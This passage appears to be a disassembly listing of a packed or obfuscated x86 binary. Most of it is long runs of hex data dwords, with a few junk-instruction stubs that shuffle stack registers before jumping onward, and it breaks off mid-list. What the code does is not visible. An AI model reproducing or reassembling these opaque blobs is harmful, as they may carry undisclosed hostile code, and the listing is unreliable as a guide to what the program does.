8B6B76EBh, 6E851C11h, 0D4DE04C8h, 0D01C3641h, 0B9B426CEh dd 509E3B30h, 13D1FDA1h, 1C3641A9h, 53C8109Bh, 0A321D9A0h dd 719CC5FDh, 55C7FCDBh, 0B2372FA1h, 20D31DBAh, 72EB15B9h dd 52428F67h, 0BF0F8AA7h, 3806F5FFh, 3E31D4ACh, 0D4A94DA3h dd 1687100Ch, 892E4735h, 3641715Bh, 0AD43651Ch, 18236121h dd 26FED14Eh, 9A5946D8h, 0ED5FDE16h, 5B656970h, 9F1ED6C3h dd 5F0E431h, 0A8306D6Ch, 0E7A32BB4h, 35F113B9h, 15E1071Ch dd 98051A8Eh, 4D48E759h, 0A03D32A6h, 7D67BE51h, 0C739157Ah dd 45C72AAFh, 577064B1h, 89505106h, 5381h, 2E475200h, 5BD448ABh dd 0F46C8E3Eh, 258C13E3h, 0D4C15F61h, 65B9B1Dh, 0E7F26B1Eh dd 0AE2B42B6h, 4059D143h, 6F55D0B1h, 50002F6Eh, 445889h dd 47370000h, 6723AB2Eh, 36419339h, 9561871Ch, 17849A0Eh dd 5E6044DCh, 9B1DD4C1h, 6B1E065Bh, 15B6E7F2h, 578D2A47h dd 1C36416Dh, 0BDD85769h, 0A636BD33h, 1C36411Fh, 0ECEDD726h dd 894FF9A1h, 1C6h, 0B9150500h, 41E5CF15h, 0BFE11C36h dd 36419F25h, 0E1159B1Ch, 0E9E5F06Fh, 0BD395CD7h, 31AEC236h dd 7BEE59Dh, 84A80BF9h, 0FAF9E67Ah, 11FF7E76h, 0A25D0C4h dd 66310E8Fh, 506A1EAEh, 8032C1DEh, 0C6828B2Bh, 21D51BE2h dd 3224493h, 4E943815h, 1300DA64h, 41B03E60h, 291853CFh dd 0BF14745Dh, 0FFF2EF81h, 207D737Dh, 18DBC458h, 0F14488h dd 625C5013h, 0A123CECBh, 61140055h, 0DFC7D4CDh, 0EAA6819Fh dd 0B8D6471h, 665F03B7h, 429238h, 8E608613h, 5F78F466h dd 0A1710F6Fh, 1AE9B99Ch, 4DE153DAh, 0D5487854h, 12922831h dd 0E454DB1Bh, 0F8C88D77h, 3B4EEE0Fh, 0C638BCBAh, 0B3263DAAh dd 6932BC40h, 85E184C9h, 198E392h, 0EB9F0000h, 660FB5h dd 0E5CF1513h, 0E1130065h, 13E305BFh, 0C39B2E6Ch, 233DBF0Bh dd 69B03EB6h, 9F15035Fh, 69871209h, 7D1A168Ah, 0B9C45820h dd 124A12Bh, 0C239513h, 10DE6291h, 8E6075EEh, 6E548A3Eh dd 6A130124h, 0BF31B044h, 4DBB36A3h, 791C17A9h, 0DE9EC87h dd 0C307CCB8h, 124971Dh, 3ADF9313h, 76447192h, 4DBF37B9h dd 0DFD3C8D1h, 928561AEh, 5CB9h, 76EB1500h, 2EE48B6Bh dd 0C307C787h, 41F3D907h, 0C1E71C36h, 41459F35h, 516B1C36h dd 8C32C1D8h, 36416C56h, 0A846681Ch, 0BC10964Ch, 0A0BD2A42h dd 0C03FB739h, 36418A30h, 988C991Ch, 0C10DDDD4h, 3641C923h dd 1A8DDD1Ch, 59286DBCh, 516B638Dh, 425FD0D9h, 777348ACh dd 0C6h, 0C39B2ED8h, 213DBF0Bh, 2DB739B8h, 1C364187h, 59D81681h dd 0C103E18Ah, 4EA5302Fh, 2CD024CAh, 2ABCF76h, 0AB23C515h dd 1BFD2D3h, 985C6603h, 0E8BA719h, 4A57CB8Dh, 0A8819A7h dd 77841301h, 7966FA8Dh, 9C902A24h, 886CF003h, 0DAF2AAFDh dd 84150CAEh, 8B80E270h, 7C7E0BD5h, 6D6803E4h, 0EDBD7383h dd 6C3F9108h, 0F003EDE7h, 6C07E07Ch, 0E8068A69h, 2843DAE4h dd 98A0D05Dh, 0BEB0566h, 5D479484h, 7E4E0691h, 182E944Ah dd 842A1C2Dh, 0FE00CC70h, 0F3EE8166h, 7F727C00h, 96BF9FDh dd 0ED15019Ah, 46D9E3EBh, 824985Bh, 0EE0648Fh, 0A31D11E6h dd 950C218Ch, 0DD14DA5Eh, 179B675Bh, 3AEBE5E2h, 9B2E13BAh dd 21BF0BC3h, 1C36419Bh, 1FC5098Fh, 1C364195h, 43E70F91h dd 0AC2BF9Dh, 223BC515h, 3CB83CB7h, 1F916086h, 53059603h dd 0F00AC2DFh, 2ED33279h, 858214FEh, 0FD9C956Bh, 0FB8272F6h dd 0F0335B6Dh, 0DAAE5816h, 102BFEC4h, 0F4FAE7h, 3A36C1B3h dd 0E478009Dh, 0A852F8FBh, 43C52CB5h, 3432F97Fh, 0D323FDA2h dd 74E8C159h, 6EB43B3Dh, 628C672Bh, 0EBE30D8Fh, 0B0435ED1h dd 0D749C82Ch, 42B63D58h, 0DC41B02Dh, 0A2E09B89h, 0A4B84331h dd 526C623Bh, 0AD2FC2DFh, 0D5398321h, 0AB2DE70Fh, 445DD14Bh dd 0DC5ADh, 0CD010000h, 0FD5AD17h, 0EF07A9E7h, 47844F50h dd 0CF41B015h, 39AB4653h, 0C537BA27h, 54C82BAEh, 0C335BCDDh dd 50C42FAAh, 0C034BFD8h, 4DBF32AFh, 5D2AC9D0h, 289768h dd 241C8900h, 0C381E389h, 4, 8704EB83h, 525C241Ch, 0C281E289h dd 4, 8704EA83h, 895C2414h db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push 93C81B5h mov esi, [esp] add esp, 4 push 1F49h mov [esp], esp add dword ptr [esp], 4 pop edi push ecx mov ecx, 8 add ecx, edi push eax mov eax, esi mov [ecx], eax pop eax pop ecx mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 jmp loc_5464A4 ; --------------------------------------------------------------------------- dd 0ADE5154Dh, 0A44EB018h, 0B8F586F9h, 93C86F2h, 0E0FFC503h dd 30A87BA6h, 6F3895FEh, 410995E6h, 68453C17h, 3BDF6F71h dd 1DC2B65Ah, 39782126h, 1CF2957Eh, 38D06390h, 84C9079h dd 36EDE9h, 7CF12F7Bh, 41DF06CCh, 7B19F9E4h, 2F874B2Eh dd 6DCE4744h, 331477F2h, 34A24E81h, 4775DAC6h, 6601ED5h dd 2E4F029Ah, 18751DDAh, 14FF27A0h, 227F435Ah, 0F58A8AFh dd 5908BD5Bh, 2775244Eh, 733A04EBh, 6DE95C8Ch, 3E000005h dd 72E6B71Ch, 47B9E2FFh, 68F0AD28h, 42B6E7F0h, 26EDAE2Bh dd 1DBCB555h, 7663F880h, 20BDB325h, 7069057Bh, 9B49852Bh dd 12F9B931h, 0AC4E7825h, 25CC28B1h, 43AE2B47h, 5C4158D1h dd 0CCD54872h, 1DBAB628h, 0D1CE62D6h, 26B3AE22h, 0DF766CBh dd 1BB8B648h, 0D4CD61DBh, 821F11C7h, 0DCC96719h, 36965841h dd 0D50BAAC4h, 1C3641EFh, 0CB2BC5EBh, 4E5BD044h, 0A02CC2D7h dd 420CB6ECh, 0CC121C36h, 1C3641E6h, 0E006BCE2h, 2E9F8D14h dd 27418146h, 0BE484AAEh, 5DD34DA9h, 89A55B40h, 6C53E110h dd 711C35F1h, 3697B0A4h, 3489504Ah, 0EA09968Ah, 54E78E66h dd 0A8000000h, 43AE2B47h, 364211B5h, 1D07161Ch, 4FFA113Ch dd 0C8675989h, 0BBB226CDh, 322ED01Eh, 2ACA4EA5h, 17Bh dd 2A474C00h, 5DD044AFh, 233BAD44h, 89A416B6h, 0F85DE410h dd 0E29ABFA5h, 0EAABCD88h, 3DAF4781h, 1CE4B920h, 0C5379700h dd 40C42FAAh, 47F4D7B4h, 0A248AB2Eh, 0B10D8DAh, 74ECAB57h dd 0E20C9063h, 1C859812h, 85120EB0h, 1182F271h, 58622623h dd 981CD7C0h, 354E804Ah, 23BCB01Ch, 70764CD0h, 58130A84h dd 6E1C05C1h, 9409E703h, 5D2550CCh, 77DB778Ch, 0BC06DC04h dd 0B81C35B6h, 0EF4C9008h, 0B53B64BEh, 0F169933Bh, 3F6509E8h dd 1C360875h, 75816F71h, 8E57AEEh, 6A628C15h, 33BEDB50h dd 0BF31A8C1h, 2844B837h, 5BD044AFh, 83C861Ch, 0B6381C36h dd 0D154B938h, 1E8708E3h, 76EF1136h, 0B2EB9363h, 0D5895038h dd 83h, 77EB15B6h, 0F105876Ah, 0F3E67Fh, 1B16938Ch, 11CF737Eh dd 1C3641ABh, 0F9F7F99Fh, 221293FAh, 52CBDE57h, 0C628AC47h dd 8F0A23D5h, 6F558B3Fh, 0A71C3641h, 36B80A8Fh, 55CD3FBEh dd 59CCAD44h, 2B726Bh, 4F5C8950h, 2B000000h, 6673EB15h dd 94051C8Eh, 6875EB5Dh, 7B1E1789h, 7F680478h, 0F9F8F6E3h dd 4F2A1A8Bh, 0BF84708Dh, 558A213Dh, 0F47EAC7Fh, 83FDF9F7h dd 0DDDFEFEAh, 169A5940h, 472A09DEh, 0B444AF2Ah, 1C364211h dd 3E1F0518h, 894FFA0Fh, 158h, 28473700h, 0BB36A3BDh, 0C83CB739h dd 3B834B54h, 0A915B5CEh, 57D61EF6h, 7D08FC69h, 0A7D7F7E2h dd 4AF481C9h, 5E3BBB14h, 0BCD95668h, 0B043B335h, 0E1A12DE5h dd 3FB4C47Dh, 0ED6A9603h, 0F2128DB1h, 8E54F8FCh, 1503263Fh dd 0A11BB335h, 5DE41089h, 316A77EBh, 0CB26B3AFh, 126793Dh dd 8C788513h, 0D94E65F9h, 0E5F26EF6h, 83368A0Eh, 7A1F14AEh dd 0F5FBF577h, 0A33C30A8h, 5740DC50h, 0AA37289Ch, 3D5CD547h dd 100421B6h, 765EAF55h, 5D677D51h, 5713010Dh, 51110ACAh dd 9214AE07h, 651EA43Ah, 941A1300h, 6572EE60h, 0D63B9238h dd 402C9285h, 5B000001h, 0BC39B2Eh, 35F4ED5h, 0A824CA15h dd 79781D16h, 856B6E07h, 0E27EF271h, 816F6A05h, 5963814Dh dd 4D130124h, 8C3D5D1Dh, 5C920321h, 0E70F8CA2h, 0C5D24E12h dd 39A6BA2Eh, 46824ABAh, 0D51CBDB4h, 262B9153h, 791F1301h dd 493C287Dh, 0DBCFCCD5h, 928514B2h, 69B5h, 872E1600h dd 5BB707C7h, 0C00E8227h, 4AA765h, 57F806C0h, 0FE5FB9Fh dd 0AB1C35ECh, 0EBF7BDE3h, 0EDF31C35h, 5A60F003h, 8A1C35EBh dd 7BED0491h, 66FEF5E0h, 11CCAF95h, 9B3F19Dh, 0FD1C35ECh dd 0DEC61BDBh, 3CB9B12h, 9D3C35C7h, 8C22D256h, 1C35EB56h dd 7E804C52h, 2B00F4E1h, 863Fh, 0F8718B00h, 8A647DF1h dd 9B2EC36Ah, 0B33E5BD3h, 0ED0FBF31h, 7896871h, 0B2954BEFh dd 0A6150368h, 0E37FF100h, 8A696E06h, 2DB3E806h, 0BB49A831h dd 130117E6h, 1CEFD526h, 0E8BA700h, 0E8F61E3h, 0CC816818h dd 37ABDEBCh, 0A96134BFh, 5CBA5D25h, 97371EEDh, 0A325BB5Fh dd 970BD4DEh, 2D43BD11h, 3BF41B0h, 48693F0Ah, 0D251A5BFh dd 0ADA7C25Eh, 5EE3D01Fh, 6D5B9658h, 9D283420h, 0F5DB09C5h dd 0E91500D6h, 2EF5D6C7h, 0B30BC39Bh, 32B60F5Fh, 852F7530h dd 811C359Fh, 0B965915Fh, 0A27A52Bh, 0A279915h, 0E3FE718Fh dd 8F628C10h, 398011Dh, 0F9F8E17Dh, 4A91D86Bh, 0CCB82540h dd 57CC2539h, 36A3BC42h, 0E6B739BBh, 6C568C40h, 68BFA96Dh dd 203CAE46h, 0C62DA8C7h, 0D345AC42h, 0C5B33E5Bh, 85996C58h dd 0DEE8ABEEh, 465DC06h, 0E48E33CBh, 0AAF3FDF3h, 569D3A36h dd 1C6Ch, 0B4E89800h, 4389170Ch, 37BFA9FCh, 9F9F11B1h dd 0CCF6AC20h, 0C8BFA952h, 4F2FCE26h, 0B0154784h, 4653CF41h dd 0BA2739ABh, 2BAEC537h, 0BCDD54C8h, 2FAAC335h, 0BFD850C4h dd 32AFC034h, 0C9D04DBFh, 0C685D2Ah, 8900005Bh, 89572404h dd 4C781E7h, 83000000h, 3C8704EFh, 2C895C24h, 38086824h dd 0C890000h, 88096824h, 2C8B093Ch, 4C48124h, 83000000h dd 248904ECh, 24048124h, 4, 8BB5359h, 81000000h, 8A371FC3h dd 81CB0113h, 8A371FEBh, 5B2B8913h, 51240C8Bh, 0C181E189h dd 4, 4C181h, 0C870000h, 34FF5C24h, 0C4835D24h, 0F16AE904h dd 0B5E6FFF8h, 0BA4E2E8Eh, 76508D28h, 3C8CF4B8h, 0FFC50309h dd 3E28A2E0h, 0B7429D2Bh, 98C83838h, 66AD4C27h, 4A5CC170h dd 4ADC0015h, 0FB447D22h, 0B7C25239h, 0B151BE30h, 6EB00371h dd 558D8D75h, 66093C8Eh, 896758BEh, 3516298Dh, 8E909h dd 22AA0000h, 18C1F4A7h, 85C7CCD4h, 935287Dh, 7054h, 6298D09h dd 85C70935h, 9352255h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 79C35545h dd 307C16C2h, 0AE0522D0h, 219D89CAh, 0FF093501h, 352B11B5h dd 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 36D02488h, 4995892Dh, 31093503h, 3523E185h dd 595FF09h, 0FC09350Dh, 6850Fh, 85310000h, 9351D9Dh, 95FF006Ah dd 9350829h, 5EEBC08Bh, 143EEAB6h, 355C0E91h, 1A6F3BEAh dd 0A3E4AF1Dh, 0B813FDE9h, 3A3D33A4h, 7C170BD7h, 26949323h dd 0B7B32800h, 0F8D9BA99h, 75CEE215h, 0D1BBF57Dh, 26FA9C6Ch dd 3F5E839Eh, 0E9A13368h, 8AB8C973h, 9A7E50C5h, 0F9E6B835h dd 95FF120h, 86277B3Ah, 45477C9Bh, 0ACADB1D9h, 0F0ACCC43h dd 8D8DC27Dh, 93C8F53h, 95BD8960h, 66093517h, 0E7FBDA81h dd 298D8961h, 6A093516h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0C71CC353h, 35287D85h dd 649009h, 6E900h, 70E60000h, 0BCC08025h, 225585C7h, 935h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 0EAFDD6C3h, 389F2B33h, 8BC394DEh, 79B5FFD7h dd 8B09352Ch, 350CFD95h, 95FFF809h, 9350D05h, 2FF9952Bh dd 6A0935h, 82995FFh, 0C08B0935h, 469B29EBh, 0F4AD0928h dd 7F463877h, 0F41F6E79h, 57648579h, 0AEFBC577h, 646E9C20h dd 0C3C38A86h, 397C15CAh, 591A7324h, 0E86ED6AEh, 7, 0BFB5048h dd 8BA671CBh, 351BF1B5h, 0CF8B5809h, 5A9EC081h, 0BD290000h dd 9350415h, 68h, 0DE900h, 2EC60000h, 936CEED6h, 0B2A13AAFh dd 5F38AC54h, 8B0Fh, 34FF0000h, 3820F07h, 66000000h, 895BF78Bh dd 3521CDB5h, 8EF38109h, 8B3207CEh, 3528CD8Dh, 76C38109h dd 2909C855h, 3522518Dh, 0EBF38109h, 8161C730h, 8DA36EAh dd 381C8965h, 9B71BA66h, 30A9952Bh, 0EF830935h, 4FCF8B01h dd 800F4F4Fh, 6, 1D8D9D09h, 0FF810935h, 0FFFFA62Ch, 15850Fh dd 8B660000h, 28E9CEh, 0F5990000h, 0BEB437BFh, 7D5E50Dh dd 89EFDB3Fh, 35055185h, 0FF7CE909h, 0FFBBFFFFh, 69E1F855h dd 97ECA8E1h, 0F602674h, 8D8D670Ch, 93C9127h, 6BD28156h dd 5A20803Fh, 16298D89h, 6A0935h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 0C777B0C3h, 35287D85h dd 5AAC09h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 0E9C14708h, 8B666053h, 0C1B966C6h dd 85C761A2h, 9352255h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0EC35141h dd 1269BD89h, 0B5890935h, 9352709h, 0D15B5FFh, 9D8B0935h dd 9352AC5h, 0D0595FFh, 6A0935h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0C14CC3h, 0BF66527Dh dd 6A04CAh, 82995FFh, 0C08B0935h, 861B4CEBh, 8AC94537h dd 0A7CC8CBCh, 988C488Eh, 471AB9EBh, 186A7943h, 0BEC81737h dd 562E4639h, 0D9F26C1Fh, 41D02500h, 24E45293h, 6385BE7Ch dd 90714D83h, 618821D2h, 5AFC9F4Fh, 30C62243h, 20CB4C3Ah dd 0DA32CD13h, 0B71C5848h, 10E8C4D8h, 89000000h, 2A8AA758h dd 27E2C454h, 0C38C6107h, 8B2B775Dh, 351209B5h, 3CB25809h dd 6104C081h, 0B58B0000h, 9350EC5h, 181168h, 61958B00h dd 5B09351Dh, 0F181088Bh, 30DA3074h, 81FAB70Fh, 0DC4550C1h dd 10E94Ch, 0B5830000h, 0E20B6479h, 44413BB4h, 523A76CFh dd 0F181E4E5h, 422D5E77h, 0FE4002BAh, 6608892Eh, 0E4BCCE81h dd 0F124E881h, 0BD8B5B86h, 9352291h, 0F120C081h, 880F5B86h dd 6, 2B9D8D89h, 0EB830935h, 1C850F01h, 8B000000h, 350599B5h dd 29E909h, 0FDD70000h, 9EB293A1h, 0DB0183F7h, 69C60D59h dd 0BAFB5228h, 159715F1h, 0FFFF7BE9h, 2DBDDAFFh, 0AF79EEh dd 0E1B9301Bh, 8B258F58h, 0C0h, 194h dup(0) dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0D7D2C353h, 770C7F73h, 0FE960h dd 0D7FC0000h, 0ECED296Dh, 0D43DBD6Ah, 0F917793h, 108D0FB7h dd 0E9000000h, 0Bh, 758C937Bh, 0E24CE03h, 9DA427B9h, 0BE961FCh dd 6000000h, 2B0D5CC6h, 0E6218861h, 0F55D3B80h, 8244401h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0FFC35646h dd 94EAE498h, 0BE9A77Fh, 0AD000000h, 58F96E6Bh, 6DEBBC77h dd 6A582BF5h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0A607C350h, 21AB2B7h, 0AE9F584h dd 47000000h, 5F1A21F4h, 0ABC17978h, 0FC39DCBh, 198Ah dd 5E86000h, 0C6000000h, 40226D46h, 7E95Ah, 6F710000h dd 92F366F0h, 6660616Bh, 9CBAD08Bh, 61373394h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 44C35141h, 0E957BF55h dd 0Fh, 20CF1E58h, 0ABB7E5F7h, 7760BE31h, 8BDE5354h, 50D981C0h dd 66569809h, 7990E681h, 28D0Fh, 5B510000h, 666DCE81h dd 8B664ED5h, 29B866CEh, 0E88166DCh, 8B66009Fh, 6E9D9h dd 5CF70000h, 4B38A20Ch, 8127DA80h, 0A8C772EEh, 870F36h dd 0F000000h, 989h, 38F0F00h, 66000000h, 0D180C18Bh, 0DAF281E7h dd 807D5D68h, 0DA805DE8h, 28A0FBDh, 8B000000h, 0D78160D3h dd 1CBBC8DCh, 40A6A8BFh, 830F6111h, 14h, 0FE9h, 0F1120600h dd 0CCC0F0B9h, 94B12EBBh, 37A7FB5Ch, 0BCCE8166h, 0CF816606h dd 0EE815927h, 0AD2A2Dh, 0CE9h, 3AD3B100h, 3C9EA90Dh, 0F9FC9411h dd 0F8BF0F6Eh, 0D9B2FA8Bh, 0E820Fh, 9E90000h, 0AD000000h dd 0CE076ED1h, 2CF32840h, 478FDE81h, 8B665296h, 58A0FF8h dd 0BB000000h, 147AB903h, 4800Fh, 0BF660000h, 8B66E535h dd 9EC281F9h, 0B819DB5Ah, 73D1A790h, 0D358D681h, 0C78A336Ah dd 14E9h, 3226E600h, 0E6BA84E5h, 35E3296Bh, 3F60F617h dd 9F9FA87Ah, 0EE81660Ch, 0BE66DFD2h, 81666B14h, 525EC2C1h dd 2890Fh, 61600000h, 0F60605Ah, 83h, 0D2806100h, 0BF0F6182h dd 8E950DBh, 56000000h, 0CFD3B4DAh, 5A94328Fh, 8FBA6652h dd 66F85BE5h, 0F6863B8h, 28Dh, 0E934B100h, 5, 7F438DEDh dd 10E95Ch, 4FBB0000h, 0F7CA349h, 8595B2E8h, 0AA89CD48h dd 8B66CAA0h, 0AFC881C1h, 0B00CF4F5h, 0FE8B66FEh, 0D164C681h dd 53F819A4h, 6E8h, 0CFBC3B00h, 664A6DFEh, 5F7E2BB8h, 59F5575Eh dd 0FF88B66h, 880h, 28E0F00h, 51000000h, 82BB665Ah, 8E954h dd 4D10000h, 0F27D6044h, 14E92AE0h, 0DA000000h, 4C785CE3h dd 0EC69881h, 0D286FC0Bh, 0B8496207h, 0E9B6B60Ah, 11h dd 0A07D2ECFh, 0B64F02A7h, 68A796A1h, 0D582AF4Bh, 18E0FBEh dd 0FC000000h, 0E9F6BF0Fh, 0Dh, 9DE3516Ah, 2EE8FB4Fh, 0DAAFB380h dd 0C180F8A3h, 0BE936h, 0F0530000h, 8A76DF5Ah, 0C2DB3453h dd 5E930h, 48EA0000h, 8137C9C8h, 0CD804ECBh, 0A461B84Eh dd 60F90062h, 11E9h, 0D98F3C00h, 0D7905C7Bh, 8065A1h, 9AA63082h dd 14E9224Dh, 29000000h, 0FD2BD91Fh, 660C60ADh, 6404F117h dd 8C43ECF4h, 6188E805h, 9922F381h, 810F1D5Dh, 3, 0E924F280h dd 0Dh, 7A038179h, 0A14D33B4h, 0B7C260C3h, 0D2BF0F2Eh dd 66F7BF0Fh, 0BB08E981h, 53696FBFh, 81665706h, 5A9F33C8h dd 0B86660F8h, 92BF3702h, 616F7876h, 0D059B866h, 60DEBF0Fh dd 6652D78Bh, 6159CA8Bh, 0BB66CE8Ah, 0D18B4684h, 850Fh dd 0DE800000h, 8B4EB4A6h, 816660C8h, 6023F2E8h, 800Fh dd 0BB660000h, 61614440h, 18F08056h, 0BD39BF5Bh, 816629DAh dd 0E8FB47CBh, 0Bh, 3C862D4h, 334E99F3h, 0FCBB14Fh, 0F5FDFBFh dd 388h, 5AF95200h, 1532F9B9h, 0F3BF0F31h, 6FE6B966h, 53DF8B66h dd 59F8BF0Fh, 0DE8F9h, 1F460000h, 5FE20C1Ch, 74FEC470h dd 0E92E477Fh, 10h, 639E8680h, 94A4BB92h, 4955C601h, 1374F2A9h dd 0FE95Fh, 0E21B0000h, 0E31A9DA4h, 0AD8F501Ch, 203243EAh dd 0C9816630h, 890F6A12h, 0Bh, 6E9h, 8B3D4A00h, 606A070Ah dd 8945BA66h, 0FC615B57h, 0F28B5660h, 0B050615Ah, 9E95B4Fh dd 48000000h, 0A61DDF2h, 3F767AB5h, 0CAB0F18Bh, 8B665760h dd 8B6659FAh, 0F28061FEh, 6860FC0h, 81000000h, 6D359AE7h dd 0EE91Bh, 0D9920000h, 99EBB860h, 6FFA77D6h, 0C9B7E3E3h dd 93D18166h, 0CBB70F55h, 0DD80D78Bh, 11E90Eh, 0B62A0000h dd 0AC77C816h, 4FC51EDh, 0A7AFD601h, 0FBE3BBBh, 0CA8ACEBFh dd 4810Fh, 0BB660000h, 0D181E89Ch, 1A90961Fh, 9E9h, 605CAB00h dd 0EF1CF025h, 0FF9E162h, 0C2BBD8B7h, 66174D88h, 81EAC881h dd 0C88BD88Bh, 28E0Fh, 0F28B0000h, 28C0FFCh, 8B000000h dd 0D9B70FD3h, 80F18B66h, 50528BE8h, 595A5956h, 66D18B66h dd 666FD7BBh, 0E95908B8h, 7, 0DF84A849h, 66CC4470h, 8A57D68Bh dd 12E85BEFh, 0A9000000h, 8713F2CEh, 39A79DCBh, 0E4950B6Dh dd 27A29551h, 128D0F47h, 0E9000000h, 0Dh, 31E2365Fh, 0FFF7BA57h dd 0F5C19BB1h, 0FE95AF7h, 4000000h, 427A99F7h, 0DEC4500Bh dd 2F158FC8h, 0F60B9FFh, 581h, 0E148BE00h, 0F18B234Bh dd 8E95361h, 98000000h, 0DE89B9C8h, 5A1DE0BBh, 8BD9BF0Fh dd 0D9BF0FFAh, 8F0Fh, 25BE0000h, 0E938B28Eh, 12h, 7F9AE827h dd 559D016Dh, 0D4BA621Eh, 0CBE2C026h, 830F196Eh, 3, 0FCBB70Fh dd 8Bh, 0DBBF0F00h, 0E9D38B66h, 13h, 75C79E82h, 63320C4Ch dd 2EC42046h, 170830E4h, 0FA23353h, 38Eh, 0D2B70F00h, 0C3B70F50h dd 0C1EF815Ah, 0BF05837Ah, 10F8FBA3h, 8AE0CD80h, 0E158B9F1h dd 66F812E9h, 890FC38Bh, 5, 74F68166h, 0E9CA8BE4h, 0Ch dd 39951EBEh, 862D45E3h, 0A978AFE1h, 10E8h, 0EA27CF00h dd 0F1EC42F5h, 874D173h, 5866F78Bh, 65BB665Ah, 0E98059A9h dd 5850FCFh, 0BF000000h, 1CD76F2Bh, 0E181EFB5h, 23C228A2h dd 0F78E480h, 66F5D6BFh, 0B7E8B4BFh, 8A0F55h, 66000000h dd 2FFAE081h, 8DD8B960h, 0D8815463h, 6FBC8A96h, 0DEB70F61h dd 0E9F08B66h, 0Ah, 0A14268E8h, 0B942106Ah, 0B966C5E3h dd 830F137Ch, 13h, 0EE9h, 0C2147100h, 0D5C3C4E3h, 1008A3F5h dd 0B6339350h, 4890FE2h, 66000000h, 66D639B9h, 1A6DCF81h dd 7D0ADB81h, 8166096Eh, 8BDD69EEh, 0ACBB66CAh, 8B0F5674h dd 2, 8A5B6160h, 0D98B50EFh, 0BE95Bh, 0B9660000h, 0AB5D4F0Fh dd 123A3627h, 5E99Dh, 24300000h, 66D4B6F8h, 4147C381h dd 96C18166h, 665FB0C6h, 6D6AE681h, 0C830Fh, 7E90000h dd 0B5000000h, 6A659382h, 0E96077FCh, 6, 0F02E711h, 0BE90A9Eh dd 0B3000000h, 0DF96A9B5h, 7A5886D2h, 0F61DF3Bh, 1E8Bh dd 18810F00h, 0E9000000h, 13h, 0B809610h, 6B55D81Eh, 0AA351CF6h dd 0C811E8C4h, 0E8ED2268h, 0Dh, 0CFAD9215h, 8C9BB6B9h dd 0A833A11Dh, 0D4C1815Eh, 5A595C4Bh, 977C37BEh, 0FE972h dd 0F3600000h, 2D9CF564h, 6070FB77h, 4A72CCE9h, 0FE910h dd 0F89C0000h, 8BB4727Eh, 55CB5FE3h, 4290C1BCh, 1880F39h dd 0F5000000h, 7D75E681h, 8E96B80h, 44000000h, 0F8367551h dd 668B19C8h, 0D98BD88Bh, 0D8B0Fh, 8E90000h, 0AC000000h dd 0FDF5A719h, 66628587h, 0BB8D07BBh, 51349B29h, 0E800Fh dd 9E90000h, 9C000000h, 444528A2h, 59268F03h, 19810Fh dd 10E80000h, 0C8000000h, 10D709D2h, 0B4686A29h, 0B05777A9h dd 804841D7h, 0F5E4AC1h, 158Ch, 10E900h, 0FBB00000h, 562DD5ABh dd 64756FDCh, 66663D47h, 60604919h, 1C42C281h, 61601E4Fh dd 0DD806161h, 0F38B6634h, 11E960h, 0B9E80000h, 1E4BE969h dd 8E93BD98h, 30F667DCh, 6143CD8Ah, 0D8B78BB4h, 6E9h, 0C4F4FC00h dd 0E9B34C82h, 0Eh, 11D1A6C9h, 0AB51A57h, 0E9CEAE81h, 66577E32h dd 4375F381h, 84C9815Eh, 800718E9h, 0F560ACF0h, 38B0Fh dd 0F4800000h, 8E0F61D7h, 1, 0FBB70FF8h, 68D0Fh, 0E1810000h dd 0D22C9BBh, 0FD0BF0Fh, 383h, 0C7B70F00h, 508F60B9h, 0C38B6674h dd 306ABA66h, 0EE9h, 3B22F600h, 72341CE7h, 20688662h, 0F11B8D6h dd 586h, 0E360B900h, 8E0F3951h, 0 dd 0FA8B6660h, 0FE8h, 226F1300h, 620DBD7Ah, 83A65B47h dd 0F65802E6h, 5E9h, 0C606C600h, 615E0D5Ch, 1CB1F78Bh dd 5A3D58BEh, 0FE96044h, 0F8000000h, 0F8299E0Ch, 39361445h dd 0E26EA8Eh, 6661FEABh, 7838F781h, 646FEB81h, 0F18A2AE0h dd 816613B6h, 0E92511CAh, 14h, 0E58F1852h, 0C6FB5D5Fh dd 7673403Fh, 0F741CCC6h, 6E64964Ch, 820Fh, 0D38B0000h dd 6E860h, 0C8D20000h, 0C26AEB93h, 58D18B66h, 9E9h, 95DC2400h dd 0FD22188Fh, 0E961B15Eh, 0Eh, 0F9395BE0h, 0C99C7101h dd 18C7FF3h, 0BA66828Eh, 8166DE3Ch, 60BD3EE7h, 9E960h dd 84F0000h, 0A8A871Ch, 0E94A92E0h, 0Ah, 1B1AE5B0h, 0E933DA2h dd 0F6194EEh, 0C8Dh, 7E900h, 40C60000h, 1D30FF70h, 0B70F617Dh dd 6E9C9h, 3620000h, 8C18098Dh, 0EE8F9h, 73A00000h, 0D68B99D6h dd 82FB5941h, 96BA1429h, 535AC78Bh, 48F0Fh, 0BA660000h dd 0E9585E68h, 7, 72EFEC40h, 0F96A35Bh, 1985h, 14E900h dd 33DA0000h, 0CD8C6B9Bh, 0E4BDDB25h, 9CEE46F9h, 62A25EBCh dd 81B1BB56h, 7F4DBB57h, 805852D6h, 800F00EDh, 1, 4820FF9h dd 66000000h, 0F85589BFh, 35D58060h, 14E9h, 0CE7D4400h dd 89B4887Eh, 9C19F383h, 70BDCFD1h, 0A4E71352h, 6E96100h dd 0CD000000h, 755C4EB8h, 0B1BE6653h, 0AEC7812Eh, 0E82BB2B0h dd 14h, 